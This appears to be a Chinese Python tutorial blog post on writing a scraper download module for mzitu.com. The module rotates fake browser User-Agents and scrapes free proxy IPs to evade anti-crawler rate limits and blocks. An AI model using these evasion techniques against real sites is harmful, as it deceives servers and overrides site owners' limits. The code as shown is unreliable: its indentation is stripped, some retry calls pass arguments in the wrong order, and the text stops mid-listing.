  1. 限制 IP 访问频率,超过频率就断开连接。(这种方法解决办法就是,降低爬虫的速度在每个请求前面加上 time.sleep;或者不停的更换代理 IP,这样就绕过反爬虫机制啦!)
  2. 后台对访问进行统计,如果单个 userAgent 访问超过阈值,予以封锁。(效果出奇的棒!不过误伤也超级大,一般站点不会使用,不过我们也考虑进去
  3. 还有针对于 cookies 的 (这个解决办法更简单,一般网站不会用)

我们今天就来针对 1、2 两点来写个下载模块、别害怕真的很简单。 首先,这次我们需要用到 Python 中的 re 模块来提取内容,很简单的用法,但是也需要各位了解一下:点我查看正则表达式基本教程 首先照常我们需要下面这些模块: requests re(Python 的正则表达式模块) random(一个随机选择的模块) 都是上一篇文章装过的哦!re 和 random 是 Python 自带的模块,不需要安装ヾ§  ̄ ▽)ゞ 2333333 首先按照惯例我们导入模块:

1
2
3
import requests
import re
import random

我们的思路是先找一个发布代理 IP 的网站(百度一下很多的!)从这个网站爬取出代理 IP 用来访问网页;当本地 IP 失效时,开始使用代理 IP,代理 IP 失败六次后取消代理 IP。下面我们开整ヽ(●-`Д´-)ノ 首先我们写一个基本的请求网页并返回 response 的函数:

1
2
3
4
5
6
7
8
9
import requests
import re
import random


class download:

def get(self, url):
return requests.get(url)

哈哈 简单吧! 这只是基本的,上面说过啦,很多网站都都会拒绝非浏览器的请求的、怎么区分的呢?就是你发起的请求是否包含正常的 User-Agent 这玩意儿长啥样儿?就下面这样(如果不一样 请按一下 F5) QQ截图20161029205637 requests的请求的 User-Agent 大概是这样 python-requests/2.3.0 CPython/2.6.6 Windows/7 这个不是正常的 User-Agent、所以我们得自己造一个来欺骗服务器(requests 又一个 headers 参数能帮助我们伪装成浏览器哦!不知道的小哥儿 一定是没有看官方文档!这样很不好诶!o(一︿一+)o),让他以为我们是真的浏览器。 上面讲过有的网站会限制相同的 User-Agent 的访问频率,那我们就给他随机来一个 User-Agent 好了!去百度一下 User-Agent,我找到了下面这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"

下面我们来改改上面的代码成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import re
import random


class download:

def __init__(self):
self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url):
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串(聪明的小哥儿一定发现了这是完整的User-Agent中:后面的一半段)
headers = {'User-Agent': UA} ##构造成一个完整的User-AgentUA代表的是上面随机取出来的字符串哦)
response = requests.get(url, headers=headers) ##这样服务器就会以为我们是真的浏览器了
return response

各位可以自己实例化测试一下,headers 会不会变哦 ε=ε=ε=(~ ̄ ▽  ̄)~ 好啦下面我们继续还有一个点没有处理:那就是限制 IP 频率的反爬虫。 首先是需要获取代理 IP 的网站,我找到了这个站点 http://haoip.cc/tiqu.htm(这儿本来我是准备教大家自己维护一个 IP 代理池的,不过有点麻烦啊!还好发现这个代理站,还是这么好心的站长。我就可以光明正大的偷懒啦!ヾ(≧O≦)〃嗷~) 我们先把这写 IP 爬取下来吧!本来想让大家自己写,不过有用到正则表达式的,虽然简单,不过有些小哥儿(妹儿)怕是不会使。我也写出来啦.

1
2
3
4
5
6
7
8
iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm")##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip)##re.sub 是re模块替换的方法,这儿表示将\n替换为空
iplist.append(i.strip()) ##添加到我们上面初始化的list里面, i.strip()的意思是去掉字符串的空格哦!!(这都不知道的小哥儿基础不牢啊)
print(i.strip())
print(iplist)

我们来打印一下看看 QQ截图20161029235128 下面[———————]中的内容就我们添加进 iplist 这个初始化的 list 中的内容哦! 完美!!好啦现在我们把这段代码加到之前写的代码里面去;并判断是否使用了代理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import re
import random


class download:

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, proxy=None): ##给函数一个默认参数proxy为空
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
response = requests.get(url, headers=headers)##这样服务器就会以为我们是真的浏览器了
return response ##返回response

else: ##当代理不为空
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些,什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
response = requests.get(url, headers=headers, proxies=proxy) ##使用代理获取response
return response
Xz = download() ##实例化
print(Xz.get("mzitu.com").headers) ##打印headers

需要测试的小哥儿(妹儿),可以自行测试哦。 下面我开始判断什么时候需要 !需要使用代理,而且还得规定一下多少次切换成代理爬取,多少次取消代理啊!我们改改代码,成下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import re
import random
import time


class download:

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, timeout, proxy=None, num_retries=6): ##给函数一个默认参数proxy为空
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
try:
return requests.get(url, headers=headers, timeout=timeout)##这样服务器就会以为我们是真的浏览器了
except:##如过上面的代码执行报错则执行下面的代码
if num_retries > 0: ##num_retries是我们限定的重试次数
time.sleep(10) ##延迟十秒
print(u'获取网页出错,10S后将获取倒数第:', num_retries, u'次')
return self.get(url, timeout, num_retries-1) ##调用自身 并将次数减1
else:
print(u'开始使用代理')
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦
proxy = {'http': IP}
return self.get(url, timeout, proxy,) ##代理不为空的时候

else: ##当代理不为空
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
return requests.get(url, headers=headers, proxies=proxy, timeout = timeout) ##使用代理获取response
Xz = download() ##实例化
print(Xz.get("mzitu.com", 3)) ##打印headers

上面代码添加了一个 timeout (防止超时)、一个 num_retries=6(限制次数,6 次过后使用代理)。 下面我们让使用代理失败 6 次后,取消代理,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import re
import random
import time


class download:

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, timeout, proxy=None, num_retries=6): ##给函数一个默认参数proxy为空
print(u'开始获取:', url)
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
try:
return requests.get(url, headers=headers, timeout=timeout)##这样服务器就会以为我们是真的浏览器了
except:##如过上面的代码执行报错则执行下面的代码

if num_retries > 0: ##num_retries是我们限定的重试次数
time.sleep(10) ##延迟十秒
print(u'获取网页出错,10S后将获取倒数第:', num_retries, u'次')
return self.get(url, timeout, num_retries-1) ##调用自身 并将次数减1
else:
print(u'开始使用代理')
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦
proxy = {'http': IP}
return self.get(url, timeout, proxy,) ##代理不为空的时候

else: ##当代理不为空
try:
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
return requests.get(url, headers=headers, proxies=proxy, timeout=timeout) ##使用代理获取response
except:

if num_retries > 0:
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip())
proxy = {'http': IP}
print(u'正在更换代理,10S后将重新获取倒数第', num_retries, u'次')
print(u'当前代理是:', proxy)
return self.get(url, timeout, proxy, num_retries - 1)
else:
print(u'代理也不好使了!取消代理')
return self.get(url, 3)

QQ图片20161021224219 收工一个较为健壮的下载模块搞定(当然一个健壮的模块还应该有其它的内容,比如判断地址是否是 robots.txt 文件禁止获取的;错误状态判断是否是服务器出错,限制爬虫深度防止掉入爬虫陷进之类的····) 不过我怕太多大家消化不了,而且我们一般遇到的网站基本不会碰到爬虫陷阱(有也不怕啊,反正规模不大,自己也就注意到了。) 下面我们来把这个下载模块使用到我们上一篇博文的爬出红里面去! 用法很简单!ヾ(´▽‘)ノ将这个 py 文件放在和上一篇博文爬虫相同的文件夹里面;并新建一个init.py 的文件。像这样: 在爬虫里面导入下载模块即可,class 继承一下下载模块;然后替换掉上一篇爬虫里面的全部 requests.get,为 download.get 即可!还必须加上 timeout 参数哦!废话不多说直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from bs4 import BeautifulSoup
import os
from Download import download

class mzitu(download):

def all_url(self, url):
html = download.get(self, url, 3) ##这儿替换了,并加上timeout参数
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.html(href)

def html(self, href):
html = download.get(self, href, 3)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
for page in range(1, int(max_span) + 1):
page_url = href + '/' + str(page)
self.img(page_url)

def img(self, page_url):
img_html = download.get(self, page_url, 3) ##这儿替换了
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.save(img_url)

def save(self, img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = download.get(self, img_url, 3) ##这儿替换了,并加上timeout参数
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(self, path): ##这个函数创建文件夹
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False

Mzitu = mzitu() ##实例化
Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

好了!搞完收工!大家可以看一下和上一次我们写的爬虫有哪些变化就知道我们做了什么啦! 2016/11/4 更新:今天做教程的时候发现我忽略了一个问题,上面的写法,属于子类继承父类,这种写法 子类没法用init;所以我改了一下写法,(其余都没变,不用担心。)直接贴代码了: 首先是下载模块(Download.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import re
import random
import time


class download():

def __init__(self):

self.iplist = [] ##初始化一个list用来存放我们获取到的IP
html = requests.get("http://haoip.cc/tiqu.htm") ##不解释咯
iplistn = re.findall(r'r/>(.*?)<b', html.text, re.S) ##表示从html.text中获取所有r/><b中的内容,re.S的意思是包括匹配包括换行符,findall返回的是个list哦!
for ip in iplistn:
i = re.sub('\n', '', ip) ##re.sub 是re模块替换的方法,这儿表示将\n替换为空
self.iplist.append(i.strip()) ##添加到我们上面初始化的list里面

self.user_agent_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, timeout, proxy=None, num_retries=6): ##给函数一个默认参数proxy为空
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
try:
return requests.get(url, headers=headers, timeout=timeout)##这样服务器就会以为我们是真的浏览器了
except:##如过上面的代码执行报错则执行下面的代码

if num_retries > 0: ##num_retries是我们限定的重试次数
time.sleep(10) ##延迟十秒
